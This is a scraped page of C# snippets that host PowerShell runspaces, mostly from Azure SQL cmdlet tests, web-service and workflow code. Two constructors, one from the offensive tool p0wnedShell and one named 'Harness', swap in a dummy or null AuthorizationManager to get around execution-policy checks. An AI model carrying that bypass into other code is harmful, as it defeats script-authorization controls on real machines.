Exemplo n.º 1
0
        public PowerShellDataSource()
        {
            _allRecords = new ObservableCollection<object>();
            _specs = new List<DynamicMemberSpecification>();
            _scales = new ScaleDescriptorAssignmentCollection();
            _scales.CollectionChanged += OnScaleDescriptorAssignmentCollectionChanged;

            _dataCollectionMaxSize = 20;
            _data = new ObservableCollection<object>();
            _progressRecords = new ObservableCollection<ProgressRecord>();
            _dynamicMembers = new List<PSMemberInfo>();

            _powerShell = System.Management.Automation.PowerShell.Create();
            var runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();
            runspace.SessionStateProxy.SetVariable( "seeShellDataSource", this );
            var tmp = System.Management.Automation.PowerShell.Create();
            tmp.Runspace = runspace;
            tmp.AddScript("function start-seeShellDataSet { $seeShellDataSource.StartDataSet(); }")
               .AddScript("function commit-seeShellDataSet { $seeShellDataSource.CommitDataSet(); }")
               .AddScript("function undo-seeShellDataSet { $seeShellDataSource.RollbackDataSet(); }");
            tmp.Invoke();

            _powerShell.Runspace = runspace;
            _powerShell.InvocationStateChanged += InvocationStateChanged;
            _powerShell.Streams.Debug.DataAdded += DebugRecordAdded;
            _powerShell.Streams.Verbose.DataAdded += VerboseRecordAdded;
            _powerShell.Streams.Progress.DataAdded += ProgressRecordAdded;
            _powerShell.Streams.Error.DataAdded += ErrorRecordAdded;
            _powerShell.Streams.Warning.DataAdded += WarningRecordAdded;
        }
Exemplo n.º 2
0
 internal ClientRemotePowerShell(System.Management.Automation.PowerShell shell, RemoteRunspacePoolInternal runspacePool)
 {
     this.shell = shell;
     this.clientRunspacePoolId = runspacePool.InstanceId;
     this.runspacePool = runspacePool;
     this.computerName = runspacePool.ConnectionInfo.ComputerName;
 }
Exemplo n.º 3
0
		public P0wnedListenerConsole()
        {
			
			InitialSessionState state = InitialSessionState.CreateDefault();
            state.AuthorizationManager = new System.Management.Automation.AuthorizationManager("Dummy");
			
			this.myHost = new MyHost(this);
            this.myRunSpace = RunspaceFactory.CreateRunspace(this.myHost, state);
            this.myRunSpace.Open();

            lock (this.instanceLock)
            {
                this.currentPowerShell = PowerShell.Create();
            }

            try
            {
                this.currentPowerShell.Runspace = this.myRunSpace;

                PSCommand[] profileCommands = p0wnedShell.HostUtilities.GetProfileCommands("p0wnedShell");
                foreach (PSCommand command in profileCommands)
                {
                    this.currentPowerShell.Commands = command;
                    this.currentPowerShell.Invoke();
                }
            }
            finally
            {
                lock (this.instanceLock)
                {
                    this.currentPowerShell.Dispose();
                    this.currentPowerShell = null;
                }
            }
        }
        public static void InitializeClass(TestContext context)
        {
            powershell = System.Management.Automation.PowerShell.Create();

            MockHttpServer.SetupCertificates();

            UnitTestHelper.SetupUnitTestSubscription(powershell);

            serverName = SqlDatabaseTestSettings.Instance.ServerName;
            powershell.Runspace.SessionStateProxy.SetVariable("serverName", serverName);
        }
Exemplo n.º 5
0
		public PSCommand(Envelope<PSRunspace, UserContext> runspace, ResourceType entityType, PSCmdletInfo cmdletInfo, CommandType commandType = (CommandType)1)
		{
			this.syncObject = new object();
			this.runspace = runspace;
			this.cmdletInfo = cmdletInfo;
			this.entityType = entityType;
			this.parameters = new Dictionary<string, object>();
			this.powerShell = null;
			this.timer = new PswsTimer(new ElapsedEventHandler(this.TimerCallback), DataServiceController.Current.Configuration.PowerShell.Quotas.MaxExecutionTime, false, false);
			this.commandType = commandType;
		}
Exemplo n.º 6
0
        public PowerShellSession(IPowerShellHost powerShellHost, IFilesystemAccessor filesystemAccessor)
        {
            this.powerShellHost = powerShellHost;
            this.filesystemAccessor = filesystemAccessor;
            this.pipelineOutput = new StringBuilder();

            Environment.SetEnvironmentVariable("PSExecutionPolicyPreference", "RemoteSigned", EnvironmentVariableTarget.Process);
            this.runspace = RunspaceFactory.CreateRunspace(this.powerShellHost as PSHost);
            this.runspace.Open();

            this.powerShell = System.Management.Automation.PowerShell.Create();
            this.powerShell.Runspace = this.runspace;
        }
        public void SetupTest()
        {
            powershell = System.Management.Automation.PowerShell.Create();

            MockHttpServer.SetupCertificates();

            UnitTestHelper.SetupUnitTestSubscription(powershell);

            serverName = SqlDatabaseTestSettings.Instance.ServerName;
            powershell.Runspace.SessionStateProxy.SetVariable("serverName", serverName);

            // Create atleast two test databases
            NewAzureSqlDatabaseTests.CreateTestDatabasesWithCertAuth(powershell);
        }
Exemplo n.º 8
0
        private Harness()
        {

            this.sleep = 0;
            this.host = new CustomPSHost(this);
            this.state = InitialSessionState.CreateDefault();
            this.state.AuthorizationManager = null;
            this.myRunSpace = RunspaceFactory.CreateRunspace(this.host, this.state);
            this.myRunSpace.ThreadOptions = PSThreadOptions.UseCurrentThread;
            this.myRunSpace.Open();
            this.ps = PowerShell.Create();
            this.ps.Runspace = this.myRunSpace;

        }
        /// <summary>
        /// Create this instance of the console listener.
        /// </summary>
        public PSListenerConsoleSample()
        {
            // Create the host and runspace instances for this interpreter. Note that
            // this application doesn't support console files so only the default snapins
            // will be available.
            this.myHost = new MyHost(this);
            this.myRunSpace = RunspaceFactory.CreateRunspace(this.myHost);
            this.myRunSpace.Open();

            // Create a PowerShell object that will be used to execute the commands
            // to create $profile and load the profiles.
            lock (this.instanceLock)
            {
                this.currentPowerShell = PowerShell.Create();
            }

            try
            {
                this.currentPowerShell.Runspace = this.myRunSpace;

                //PSCommand[] profileCommands = AzurePerfTools.PowerShellHost.HostUtilities.GetProfileCommands("SampleHost04");
                //foreach (PSCommand command in profileCommands)
                //{
                //    this.currentPowerShell.Commands = command;
                //    this.currentPowerShell.Invoke();
                //}
            }
            finally
            {
                // Dispose of the pipeline line and set it to null, locked because currentPowerShell
                // may be accessed by the ctrl-C handler...
                lock (this.instanceLock)
                {
                    this.currentPowerShell.Dispose();
                    this.currentPowerShell = null;
                }
            }
        }
Exemplo n.º 10
0
        public PSPathTranslationTests()
        {
            // create temp file
            _tempFilePath = Path.GetTempFileName();

            // initialize 
            var state = InitialSessionState.CreateDefault();
            state.ThreadOptions = PSThreadOptions.UseCurrentThread;
            state.ApartmentState = ApartmentState.STA;
            _ps = System.Management.Automation.PowerShell.Create();
            _ps.Runspace = RunspaceFactory.CreateRunspace(state);
            _ps.Runspace.Open();

            // create a new PSDrive for translation tests
            _ps.AddCommand("New-PSDrive")
               .AddParameter("Name", "mytemp")
               .AddParameter("PSProvider", FileSystemProvider.ProviderName)
               .AddParameter("Root", Path.GetTempPath());
            _ps.Invoke();
            Assert.True(_ps.Streams.Error.Count == 0, "Failed to create mytemp psdrive.");

            _ps.Streams.ClearStreams();
            _ps.Commands.Clear();
        }
Exemplo n.º 11
0
		public IEnumerator<DSResource> InvokeAsync(Expression expression, bool noStreamingResponse)
		{
			IEnumerator<DSResource> enumerator;
			this.AddImmutableParameters();
			this.cmdletInfo.VerifyMandatoryParameterAdded(this.parameters.Keys, this.commonParameterFlag);
			this.ConvertCollectionParameters();
			SafeRefCountedContainer<WindowsIdentity> authorizedUserIdentity = DataServiceController.Current.GetAuthorizedUserIdentity(this.runspace.Borrower);
			WindowsImpersonationContext windowsImpersonationContext = authorizedUserIdentity.Instance.Impersonate();
			using (windowsImpersonationContext)
			{
				TraceHelper.Current.BeginOperation0("PowerShell.Create");
				this.powerShell = System.Management.Automation.PowerShell.Create();
				TraceHelper.Current.EndOperation("PowerShell.Create");
				TraceHelper.Current.BeginOperation0("RunspaceContext.Create");
				DefaultRunspaceContext defaultRunspaceContext = DefaultRunspaceContext.Create(this.runspace.Item.Runspace);
				using (defaultRunspaceContext)
				{
					TraceHelper.Current.EndOperation("RunspaceContext.Create");
					EventHandler<DataAddedEventArgs> eventHandler = new EventHandler<DataAddedEventArgs>(this.DataAddedEventHandler);
					if (this.entityType == null)
					{
						eventHandler = null;
					}
					IEnumerator<DSResource> enumerator1 = this.InvokeCmdletAsync(this.powerShell, expression, eventHandler, new AsyncCallback(this.ExecutionCompletionEventHandler), noStreamingResponse);
					this.ExecutionCompletionEventHandler(this.asynchronousResult);
					enumerator = enumerator1;
				}
			}
			return enumerator;
		}
Exemplo n.º 12
0
 /// <summary>
 /// Creates the $credential object in the given <paramref name="powershell"/> instance with
 /// user name "testuser" and password "testpass".
 /// </summary>
 /// <param name="powershell">An instance of the <see cref="PowerShell"/> object.</param>
 public static void CreateTestCredential(System.Management.Automation.PowerShell powershell)
 {
     CreateTestCredential(powershell, "testuser", "testp@ss1");
 }
Exemplo n.º 13
0
        internal List<object> ExecuteScriptPart(string script, bool stringOutput, bool internalScript,
            bool marshalResults)
        {
            if (string.IsNullOrWhiteSpace(script) || State == RunspaceAvailability.Busy)
            {
                return null;
            }

            if (Runspace.DefaultRunspace == null)
            {
                Runspace.DefaultRunspace = host.Runspace;
            }

            Log.Info("Executing a Sitecore PowerShell Extensions script.", this);
            Log.Debug(script, this);

            // Create a pipeline, and populate it with the script given in the
            // edit box of the form.
            return SpeTimer.Measure("script execution", () =>
            {
                try
                {
                    using (powerShell = NewPowerShell())
                    {
                        powerShell.Commands.AddScript(script);
                        return ExecuteCommand(stringOutput, marshalResults);
                    }
                }
                finally
                {
                    powerShell = null;
                }
            });
        }
        public void SetAzureSqlDatabaseServiceObjectiveWithSqlAuth()
        {
            using (System.Management.Automation.PowerShell powershell =
                       System.Management.Automation.PowerShell.Create())
            {
                // Create a context
                NewAzureSqlDatabaseServerContextTests.CreateServerContextSqlAuth(
                    powershell,
                    "$context");

                HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession(
                    "UnitTests.SetAzureSqlDatabaseServiceObjectiveWithSqlAuth");
                DatabaseTestHelper.SetDefaultTestSessionSettings(testSession);
                testSession.RequestValidator =
                    new Action <HttpMessage, HttpMessage.Request>(
                        (expected, actual) =>
                {
                    Assert.AreEqual(expected.RequestInfo.Method, actual.Method);
                    Assert.IsNotNull(actual.UserAgent);
                    switch (expected.Index)
                    {
                    // Request 0-1: Get Service Objective
                    case 0:
                    case 1:
                    // Request 2-7: Get/Update/Re-Get testdb2
                    case 2:
                    case 3:
                    case 4:
                    case 5:
                    case 6:
                        DatabaseTestHelper.ValidateHeadersForODataRequest(
                            expected.RequestInfo,
                            actual);
                        break;

                    default:
                        Assert.Fail("No more requests expected.");
                        break;
                    }
                });

                using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager())
                {
                    // Create context with both ManageUrl and ServerName overriden
                    Collection <PSObject> database;
                    using (new MockHttpServer(
                               exceptionManager,
                               MockHttpServer.DefaultServerPrefixUri,
                               testSession))
                    {
                        powershell.InvokeBatchScript(
                            @"$slo = Get-AzureSqlDatabaseServiceObjective " +
                            @"-Context $context " +
                            @"-ServiceObjectiveName ""P1""");

                        database = powershell.InvokeBatchScript(
                            @"Set-AzureSqlDatabase " +
                            @"-Context $context " +
                            @"-DatabaseName testdb2 " +
                            @"-ServiceObjective $slo " +
                            @"-Force " +
                            @"-PassThru");
                    }

                    Assert.AreEqual(0, powershell.Streams.Error.Count, "Errors during run!");
                    Assert.AreEqual(0, powershell.Streams.Warning.Count, "Warnings during run!");
                    powershell.Streams.ClearStreams();

                    Services.Server.Database databaseObj = database.Single().BaseObject as Services.Server.Database;
                    Assert.IsNotNull(databaseObj, "Expecting a Database object");
                    Assert.AreEqual("testdb2", databaseObj.Name, "Expected db name to be testdb2");
                    Assert.AreEqual((byte)0, databaseObj.ServiceObjectiveAssignmentState, "Expected assignment state to be complete");
                    DatabaseTestHelper.ValidateDatabaseProperties(databaseObj, "testdb2", "Web", 5, 5368709120L, "Japanese_CI_AS", "Shared", false, DatabaseTestHelper.PremiumP1SloGuid);
                }
            }
        }
Exemplo n.º 15
0
        public void ImportExportAzureSqlDatabaseTests()
        {
            using (System.Management.Automation.PowerShell powershell = System.Management.Automation.PowerShell.Create())
            {
                // Setup the subscription used for the test
                AzureSubscription subscription =
                    UnitTestHelper.SetupUnitTestSubscription(powershell);

                // Set the necessary session variables
                powershell.Runspace.SessionStateProxy.SetVariable(
                    "serverName",
                    SqlDatabaseTestSettings.Instance.ServerName);
                powershell.Runspace.SessionStateProxy.SetVariable(
                    "sourceDB",
                    SqlDatabaseTestSettings.Instance.SourceDatabaseName);
                powershell.Runspace.SessionStateProxy.SetVariable(
                    "targetDB",
                    SqlDatabaseTestSettings.Instance.TargetDatabaseName);
                powershell.Runspace.SessionStateProxy.SetVariable(
                    "credential",
                    new PSCredential(
                        SqlDatabaseTestSettings.Instance.UserName,
                        SqlDatabaseTestSettings.Instance.SecurePassword));
                powershell.Runspace.SessionStateProxy.SetVariable(
                    "storageAccountName",
                    SqlDatabaseTestSettings.Instance.StorageName);
                powershell.Runspace.SessionStateProxy.SetVariable(
                    "storageAccountKey",
                    SqlDatabaseTestSettings.Instance.AccessKey);
                powershell.Runspace.SessionStateProxy.SetVariable(
                    "storageContainerName",
                    SqlDatabaseTestSettings.Instance.ContainerName);

                // Create a new server
                HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession(
                    "UnitTest.ImportExportAzureSqlDatabaseTests");
                ServerTestHelper.SetDefaultTestSessionSettings(testSession);
                //testSession.ServiceBaseUri = new Uri("https://management.core.windows.net");
                testSession.RequestValidator =
                    new Action <HttpMessage, HttpMessage.Request>(
                        (expected, actual) =>
                {
                    Assert.AreEqual(expected.RequestInfo.Method, actual.Method);
                    string expectedRequestText = RequestTextToString(expected.RequestInfo);
                    string actualRequestText   = RequestTextToString(actual);
                    // When checking out from GitHub, different new line setting may lead to different char \r\n or \n
                    // Replace them with String.Empty before comparison
                    Assert.AreEqual(
                        Regex.Replace(expectedRequestText, @"\s+", String.Empty),
                        Regex.Replace(actualRequestText, @"\s+", String.Empty));
                    Assert.IsTrue(
                        actual.UserAgent.Contains(ApiConstants.UserAgentHeaderValue),
                        "Missing proper UserAgent string.");
                });

                PSObject storageContext = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"New-AzureStorageContext" +
                               @" -StorageAccountName $storageAccountName" +
                               @" -StorageAccountKey $storageAccountKey"));
                }).FirstOrDefault();

                // Tell the sql auth factory to create a v2 context (skip checking sql version using select query).
                //
                SqlAuthContextFactory.sqlVersion = SqlAuthContextFactory.SqlVersion.v2;

                //testSession.ServiceBaseUri = new Uri("https://lqtqbo6kkp.database.windows.net");
                Collection <PSObject> databaseContext = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultServerPrefixUri,
                    () =>
                {
                    powershell.Runspace.SessionStateProxy.SetVariable(
                        "manageUrl",
                        MockHttpServer.DefaultServerPrefixUri.AbsoluteUri);
                    return(powershell.InvokeBatchScript(
                               @"New-AzureSqlDatabaseServerContext" +
                               @" -ServerName $serverName" +
                               @" -ManageUrl $manageUrl" +
                               @" -Credential $credential"));
                });

                //testSession.ServiceBaseUri = new Uri("https://management.core.windows.net");
                Collection <PSObject> startExportResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    powershell.Runspace.SessionStateProxy.SetVariable("storageContext", storageContext);
                    powershell.Runspace.SessionStateProxy.SetVariable(
                        "databaseContext",
                        databaseContext.FirstOrDefault());
                    return(powershell.InvokeBatchScript(
                               @"Start-AzureSqlDatabaseExport" +
                               @" -SqlConnectionContext $databaseContext" +
                               @" -DatabaseName $sourceDB" +
                               @" -StorageContext $storageContext" +
                               @" -StorageContainerName $storageContainerName" +
                               @" -BlobName backup1"));
                });

                Collection <PSObject> getExportStatusResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    powershell.Runspace.SessionStateProxy.SetVariable(
                        "exportResult",
                        startExportResult.FirstOrDefault());
                    return(powershell.InvokeBatchScript(
                               @"Get-AzureSqlDatabaseImportExportStatus" +
                               @" -ServerName $serverName" +
                               @" -RequestId $exportResult.RequestGuid" +
                               @" -Username $exportResult.SqlCredentials.UserName" +
                               @" -Password $exportResult.SqlCredentials.Password"));
                });

                Collection <PSObject> startImportResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"Start-AzureSqlDatabaseImport" +
                               @" -SqlConnectionContext $databaseContext" +
                               @" -DatabaseName $targetDB" +
                               @" -Edition Business" +
                               @" -DatabaseMaxSize 10" +
                               @" -StorageContext $storageContext" +
                               @" -StorageContainerName $storageContainerName" +
                               @" -BlobName backup1"));
                });

                Collection <PSObject> getImportStatusResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    powershell.Runspace.SessionStateProxy.SetVariable(
                        "importResult",
                        startImportResult.FirstOrDefault());
                    return(powershell.InvokeBatchScript(
                               @"Get-AzureSqlDatabaseImportExportStatus" +
                               @" -ServerName $serverName" +
                               @" -RequestId $importResult.RequestGuid" +
                               @" -Username $importResult.SqlCredentials.UserName" +
                               @" -Password $importResult.SqlCredentials.Password"));
                });

                Assert.AreEqual(0, powershell.Streams.Error.Count, "Unexpected Errors during run!");
                Assert.AreEqual(0, powershell.Streams.Warning.Count, "Unexpected Warnings during run!");
            }
        }
Exemplo n.º 16
0
        /// <summary>
        /// A helper class that builds and executes a pipeline that writes to the
        /// default output path. Any exceptions that are thrown are just passed to
        /// the caller. Since all output goes to the default outter, this method()
        /// won't return anything.
        /// </summary>
        /// <param name="cmd">The script to run</param>
        /// <param name="input">Any input arguments to pass to the script. If null
        /// then nothing is passed in.</param>
        private void executeHelper(string cmd, object input)
        {
            // Just ignore empty command lines...
            if (String.IsNullOrEmpty(cmd))
            {
                return;
            }

            // Create the pipeline object and make it available
            // to the ctrl-C handle through the currentPowerShell instance
            // variable
            lock (this.instanceLock)
            {
                this.currentPowerShell = PowerShell.Create();
            }

            this.currentPowerShell.Runspace = this.myRunSpace;

            // Create a pipeline for this execution - place the result in the currentPowerShell
            // instance variable so it is available to be stopped.
            try
            {
                this.currentPowerShell.AddScript(cmd);

                // Now add the default outputter to the end of the pipe and indicate
                // that it should handle both output and errors from the previous
                // commands. This will result in the output being written using the PSHost
                // and PSHostUserInterface classes instead of returning objects to the hosting
                // application.
                this.currentPowerShell.AddCommand("out-default");
                this.currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);

                // If there was any input specified, pass it in, otherwise just
                // execute the pipeline.
                if (input != null)
                {
                    this.currentPowerShell.Invoke(new object[] { input });
                }
                else
                {
                    this.currentPowerShell.Invoke();
                }
            }
            finally
            {
                // Dispose of the pipeline line and set it to null, locked because currentPowerShell
                // may be accessed by the ctrl-C handler...
                lock (this.instanceLock)
                {
                    this.currentPowerShell.Dispose();
                    this.currentPowerShell = null;
                }
            }
        }
Exemplo n.º 17
0
		public IEnumerator<DSResource> InvokeAsync(Expression expression, bool noStreamingResponse)
		{
			IEnumerator<DSResource> enumerator;
			using (OperationTracer operationTracer = new OperationTracer("Entering Pipeline.InvokeAsync"))
			{
				MonitorLock monitorLock = new MonitorLock(this);
				MonitorLock monitorLock1 = monitorLock;
				using (monitorLock)
				{
					if (this.Command == null || this.OutputFormat == null)
					{
						throw new DataServiceException(ExceptionHelpers.GetExceptionMessage(Resources.InvalidInvocationData, new object[0]));
					}
					else
					{
						this.ExpirationTime = DateTimeHelper.UtcNow;
						DateTime expirationTime = this.ExpirationTime;
						this.ExpirationTime = expirationTime.AddMilliseconds((double)this.WaitMsec);
						DateTime dateTime = this.ExpirationTime;
						this.ExpirationTime = dateTime.AddSeconds((double)DataServiceController.Current.Configuration.Invocation.Lifetime);
						WindowsImpersonationContext windowsImpersonationContext = this.executionToken.Instance.Impersonate();
						using (windowsImpersonationContext)
						{
							using (OperationTracer operationTracer1 = new OperationTracer("PowerShell.Create"))
							{
								ScriptBlockAst scriptBlockAst = this.ValidateAndBuildPipeline(string.Concat(this.Command, "| ConvertTo-", this.OutputFormat));
								Runspace.DefaultRunspace = this.runspace.Item.Runspace;
								this.powerShell = scriptBlockAst.GetScriptBlock().GetPowerShell(new object[0]);
								this.powerShell.Runspace = this.runspace.Item.Runspace;
								Runspace.DefaultRunspace = null;
							}
							TraceHelper.Current.BeginOperation0("RunspaceContext.Create");
							DefaultRunspaceContext defaultRunspaceContext = DefaultRunspaceContext.Create(this.runspace.Item.Runspace);
							using (defaultRunspaceContext)
							{
								TraceHelper.Current.EndOperation("RunspaceContext.Create");
								TraceHelper.Current.PipelineStart(this.ID, this.Command, this.OutputFormat);
								this.outputObjects.DataAdded += new EventHandler<DataAddedEventArgs>(this.DataAddedEventHandler);
								this.powerShell.BeginInvoke<PSObject, PSObject>(null, this.outputObjects, Utils.GetPSInvocationSettings(), this.TestHookCompletionCallback, null);
								monitorLock1.Exit();
								this.finished.WaitOne(this.WaitMsec);
								this.timer.Start();
								monitorLock1.Enter();
								List<DSResource> dSResources = new List<DSResource>();
								dSResources.Add(this.MakeDsResource());
								TraceHelper.Current.DebugMessage("Exiting Pipeline.InvokeAsync");
								enumerator = dSResources.AsEnumerable<DSResource>().GetEnumerator();
							}
						}
					}
				}
			}
			return enumerator;
		}
Exemplo n.º 18
0
        /// <summary>
        /// Adds the PSActivity variable to the active runspace, which is of type InlineScriptContext.
        /// </summary>
        /// <param name="implementationContext">The ActivityImplementationContext returned by the call to GetCommand.</param>
        protected override void PrepareSession(ActivityImplementationContext implementationContext)
        {
            if (implementationContext.PSActivityEnvironment == null)
            {
                implementationContext.PSActivityEnvironment = new PSActivityEnvironment();
            }

            // Update the preference variables
            UpdatePreferenceVariables(implementationContext);
            System.Management.Automation.PowerShell session = implementationContext.PowerShellInstance;

            implementationContext.PSActivityEnvironment.Variables["UserName"] = System.Environment.UserName;

            string computerName = null;

            if (implementationContext.ConnectionInfo != null)
            {
                computerName = implementationContext.ConnectionInfo.ComputerName;
            }
            if (string.IsNullOrEmpty(computerName))
            {
                computerName = "localhost";
            }

            implementationContext.PSActivityEnvironment.Variables["ComputerName"]   = computerName;
            implementationContext.PSActivityEnvironment.Variables["PSComputerName"] = computerName;

            string workflowCommandName = null;

            Dictionary <string, object> activityVariables = (Dictionary <string, object>)implementationContext.WorkflowContext;

            if (activityVariables != null && activityVariables.ContainsKey("ParameterDefaults"))
            {
                HostParameterDefaults defaults = activityVariables["ParameterDefaults"] as HostParameterDefaults;
                if (defaults != null)
                {
                    workflowCommandName = defaults.Parameters["WorkflowCommandName"] as string;
                }
            }

            if (string.IsNullOrEmpty(workflowCommandName))
            {
                workflowCommandName = "unknown";
            }

            implementationContext.PSActivityEnvironment.Variables["CommandName"] = workflowCommandName;

            // Populate the default variables
            InlineScriptContext inlineScriptContext = new InlineScriptContext(this);

            // Populate the activity variables
            foreach (KeyValuePair <string, object> entry in activityVariables)
            {
                if (String.Equals(entry.Key, "ParameterDefaults", StringComparison.OrdinalIgnoreCase))
                {
                    System.Diagnostics.Debug.Assert(entry.Value is HostParameterDefaults, "ParameterDefaults does not contain a HostParameterDefaults object");
                    inlineScriptContext.Variables[entry.Key] = ((HostParameterDefaults)entry.Value).Parameters;
                    continue;
                }
                inlineScriptContext.Variables[entry.Key] = entry.Value;
            }

            // Set the PowerShell session variables...
            foreach (KeyValuePair <string, object> entry in activityVariables)
            {
                var value = entry.Value;

                if (String.Equals(entry.Key, "ParameterDefaults", StringComparison.OrdinalIgnoreCase))
                {
                    continue;
                }
                implementationContext.PSActivityEnvironment.Variables[entry.Key] = value;
            }
        }
Exemplo n.º 19
0
        // InlineScript needs to handle these specially, since it might go through the PowerShell AddScript() API.
        // If the parameter "CommandName" is in use, we add the preference configuration to the command parameters,
        // otherwise, we add the preference configuration to the preference variable.
        // All other activities have this set automatically by the infrastructure via parameters.
        private void UpdatePreferenceVariables(ActivityImplementationContext implementationContext)
        {
            System.Management.Automation.PowerShell        session = implementationContext.PowerShellInstance;
            System.Management.Automation.Runspaces.Command command = null;

            if (!_commandSpecified)
            {
                // "CommandName" and "Parameters" are in use
                command = session.Commands.Commands[0];
            }

            if (implementationContext.Verbose != null)
            {
                if (command != null)
                {
                    command.Parameters.Add("Verbose", implementationContext.Verbose);
                }
                else
                {
                    // Map the boolean / switch to an actual action preference
                    ActionPreference preference = ActionPreference.SilentlyContinue;

                    if (implementationContext.Verbose.Value)
                    {
                        preference = ActionPreference.Continue;
                    }

                    implementationContext.PSActivityEnvironment.Variables["VerbosePreference"] = preference;
                }
            }

            if (implementationContext.Debug != null)
            {
                if (command != null)
                {
                    command.Parameters.Add("Debug", implementationContext.Debug);
                }
                else
                {
                    // Map the boolean / switch to an actual action preference
                    ActionPreference preference = ActionPreference.SilentlyContinue;

                    if (implementationContext.Debug.Value)
                    {
                        preference = ActionPreference.Continue;
                    }

                    implementationContext.PSActivityEnvironment.Variables["DebugPreference"] = preference;
                }
            }

            if (implementationContext.WhatIf != null && command != null)
            {
                command.Parameters.Add("WhatIf", implementationContext.WhatIf);
            }

            if (implementationContext.ErrorAction != null)
            {
                if (command != null)
                {
                    command.Parameters.Add("ErrorAction", implementationContext.ErrorAction);
                }
                else
                {
                    implementationContext.PSActivityEnvironment.Variables["ErrorActionPreference"] = implementationContext.ErrorAction;
                }
            }

            if (implementationContext.WarningAction != null)
            {
                if (command != null)
                {
                    command.Parameters.Add("WarningAction", implementationContext.WarningAction);
                }
                else
                {
                    implementationContext.PSActivityEnvironment.Variables["WarningPreference"] = implementationContext.WarningAction;
                }
            }

            if (implementationContext.InformationAction != null)
            {
                if (command != null)
                {
                    command.Parameters.Add("InformationAction", implementationContext.InformationAction);
                }
                else
                {
                    implementationContext.PSActivityEnvironment.Variables["InformationPreference"] = implementationContext.InformationAction;
                }
            }
        }
        public Dictionary <string, List <string> > CheckRuleExtension(string[] path, PSCmdlet cmdlet)
        {
            Dictionary <string, List <string> > results = new Dictionary <string, List <string> >();

            List <string> invalidPaths  = new List <string>();
            List <string> validDllPaths = new List <string>();
            List <string> validModPaths = new List <string>();

            // Gets valid module names
            foreach (string childPath in path)
            {
                try
                {
                    cmdlet.WriteVerbose(string.Format(CultureInfo.CurrentCulture, Strings.CheckModuleName, childPath));

                    string resolvedPath = string.Empty;

                    // Users may provide a valid module path or name,
                    // We have to identify the childPath is really a directory or just a module name.
                    // You can also consider following two commands.
                    //   Get-ScriptAnalyzerRule -RuleExtension "ContosoAnalyzerRules"
                    //   Get-ScriptAnalyzerRule -RuleExtension "%USERPROFILE%\WindowsPowerShell\Modules\ContosoAnalyzerRules"
                    if (Path.GetDirectoryName(childPath) == string.Empty)
                    {
                        resolvedPath = childPath;
                    }
                    else
                    {
                        resolvedPath = cmdlet.SessionState.Path
                                       .GetResolvedPSPathFromPSPath(childPath).First().ToString();
                    }

                    using (System.Management.Automation.PowerShell posh =
                               System.Management.Automation.PowerShell.Create())
                    {
                        string       script     = string.Format(CultureInfo.CurrentCulture, "Get-Module -Name '{0}' -ListAvailable", resolvedPath);
                        PSModuleInfo moduleInfo = posh.AddScript(script).Invoke <PSModuleInfo>().First();

                        // Adds original path, otherwise path.Except<string>(validModPaths) will fail.
                        // It's possible that user can provide something like this:
                        // "..\..\..\ScriptAnalyzer.UnitTest\modules\CommunityAnalyzerRules\CommunityAnalyzerRules.psd1"
                        if (moduleInfo.ExportedFunctions.Count > 0)
                        {
                            validModPaths.Add(childPath);
                        }
                    }
                }
                catch
                {
                    // User may provide an invalid module name, like c:\temp.
                    // It's a invalid name for a Windows PowerShell module,
                    // But we need test it further since we allow user to provide a folder to extend rules.
                    // You can also consider following two commands.
                    //   Get-ScriptAnalyzerRule -RuleExtension "ContosoAnalyzerRules", "C:\Temp\ExtendScriptAnalyzerRules.dll"
                    //   Get-ScriptAnalyzerRule -RuleExtension "ContosoAnalyzerRules", "C:\Temp\"
                    continue;
                }
            }

            // Gets valid dll paths
            foreach (string childPath in path.Except <string>(validModPaths))
            {
                try
                {
                    string resolvedPath = cmdlet.SessionState.Path
                                          .GetResolvedPSPathFromPSPath(childPath).First().ToString();

                    cmdlet.WriteDebug(string.Format(CultureInfo.CurrentCulture, Strings.CheckAssemblyFile, resolvedPath));

                    if (Path.GetExtension(resolvedPath).ToLower(CultureInfo.CurrentCulture) == ".dll")
                    {
                        if (!File.Exists(resolvedPath))
                        {
                            invalidPaths.Add(resolvedPath);
                            continue;
                        }
                    }
                    else
                    {
                        if (!Directory.Exists(resolvedPath))
                        {
                            invalidPaths.Add(resolvedPath);
                            continue;
                        }
                    }

                    validDllPaths.Add(resolvedPath);
                }
                catch
                {
                    invalidPaths.Add(childPath);
                }
            }

            // Resloves relative paths.
            try
            {
                for (int i = 0; i < validModPaths.Count; i++)
                {
                    validModPaths[i] = cmdlet.SessionState.Path
                                       .GetResolvedPSPathFromPSPath(validModPaths[i]).First().ToString();
                }
                for (int i = 0; i < validDllPaths.Count; i++)
                {
                    validDllPaths[i] = cmdlet.SessionState.Path
                                       .GetResolvedPSPathFromPSPath(validDllPaths[i]).First().ToString();
                }
            }
            catch
            {
                // If GetResolvedPSPathFromPSPath failed. We can safely ignore the exception.
                // Because GetResolvedPSPathFromPSPath always fails when trying to resolve a module name.
            }

            // Returns valid rule extensions
            results.Add("InvalidPaths", invalidPaths);
            results.Add("ValidModPaths", validModPaths);
            results.Add("ValidDllPaths", validDllPaths);

            return(results);
        }
Exemplo n.º 21
0
        protected override ActivityImplementationContext GetPowerShell(NativeActivityContext context)
        {
            ValidateParameters();
            System.Management.Automation.PowerShell invoker    = null;
            HashSet <string>            allWorkflowVarNames    = new HashSet <string>(StaticPotentialUsingVariableSet, StringComparer.OrdinalIgnoreCase);
            Dictionary <string, object> defaults               = this.ParameterDefaults.Get(context);
